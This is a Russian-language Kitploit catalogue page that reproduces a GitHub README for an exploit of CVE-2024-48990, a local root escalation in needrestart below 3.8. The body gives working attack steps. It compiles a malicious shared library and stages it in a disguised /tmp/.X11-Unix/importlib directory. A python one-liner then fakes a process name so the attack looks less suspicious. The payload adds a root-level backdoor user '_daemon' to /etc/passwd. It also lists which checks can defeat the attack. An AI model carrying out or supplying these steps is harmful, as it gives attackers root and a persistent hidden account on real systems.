Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-48990 — Эксплойт для CVE-2024-48990 (локальное повышение привилегий в needrestart < 3.8) | Kitploit
Инструменты/GitHubGitHub/ns989/cve-2024-48990
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеRed Teaming
GitHubns989/cve-2024-48990

CVE-2024-48990

Эксплойт для CVE-2024-48990 (локальное повышение привилегий в needrestart < 3.8)

Репозиторий
51 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-48990

Эксплойт для CVE-2024-48990 (локальное повышение привилегий в needrestart < 3.8)

Предыстория

Читайте https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart. Qualys отлично всё объясняет.

Кратко;

В системах с needrestart версии ниже 3.8 локальные пользователи могут выполнять произвольный код и повышать привилегии до root без какого-либо взаимодействия с пользователем.

Скриншот от 2024-11-21 20-07-48

Эксплойт

Эксплойт в его текущем виде добавляет в систему нового пользователя с именем "_daemon" с UID/GID 0 (root), используя команду sed для редактирования файла /etc/passwd. Пароль совпадает с именем пользователя. Даже не уверен, что это можно назвать эксплойтом, поскольку это просто разделяемая библиотека, которая выполняет одну команду.

Чтобы скомпилировать эксплойт самостоятельно, выполните команду ниже:

gcc exploit.c -o exploit.so -shared -fPIC -s

1. Создайте каталог для хранения файлов эксплойта. В созданном каталоге должна быть поддиректория с именем "importlib"

mkdir -p /tmp/.X11-Unix/importlib

2. Запустите процесс, который вызовет срабатывание эксплойта

Вы можете запустить любой длительно работающий python-скрипт. Но чтобы выглядеть менее подозрительно в списке процессов, можно использовать эту однострочную команду для запуска интерпретатора python, который приостанавливается сразу после запуска (то есть фактически ничего не выполняет).

  • PYTHON - путь к интерпретатору python

  • ARGV - строка, которая будет отображаться в списке процессов

  • PYPATH - путь к созданному вами каталогу (без учёта каталога importlib)

Для ARGV убедитесь, что:

  • путь к интерпретатору python является первым аргументом в ARGV

  • второй аргумент ("скрипт") — это файл, который действительно существует в системе (needrestart это проверяет). Необязательно, чтобы это был настоящий python-скрипт.

  • второй аргумент не совпадает с процессом, который уже запущен (needrestart будет использовать "кэшированный" процесс, который он уже видел).

В остальном вы можете играть с ARGV как угодно. Может, сделать его похожим на обычный системный процесс?

PYPATH=/tmp/e/ PYTHON=/usr/bin/python3 ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' python3 -c 'import os,ctypes; libc=ctypes.CDLL("libc.so.6"); pid=os.fork(); exit() if pid > 0 else print("\n",os.getpid()); libc.ptrace(0, 0, 0, 0); os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH":os.environ["PYPATH"]})'

3. Переместите shared object эксплойта в нужное место

Он должен находиться в каталоге importlib и называться "init.so"

mv /tmp/exploit.so /tmp/.X11-Unix/importlib/__init__.so

4. Дождитесь, пока needrestart сделает своё дело

При следующем запуске needrestart (например, при обновлении через apt или unattended upgrades) он запустит python с нашей переменной PYTHONPATH и загрузит файл init.so, который выполнит нашу команду. Вы сможете войти в систему с учётными данными _daemon:_daemon.

Что может помешать работе эксплойта

needrestart не совсем глуп и проверяет несколько вещей при сканировании процессов и перед тем, как войти в уязвимую часть кода.

  • Является ли процесс запущенным python-скриптом? Если нет, он пропускает его (процессы, запущенные через python -c, пропускаются).
  • Видел ли он уже этот процесс? Нельзя сделать точную копию другого процесса (например, unattended-upgrade-shutdown или networkd-dispatcher), иначе он будет пропущен.
  • Если в /etc/needrestart/needrestart.conf задано "$nrconf{interpscan}" равным "0", вам не повезло.
Скачать инструмент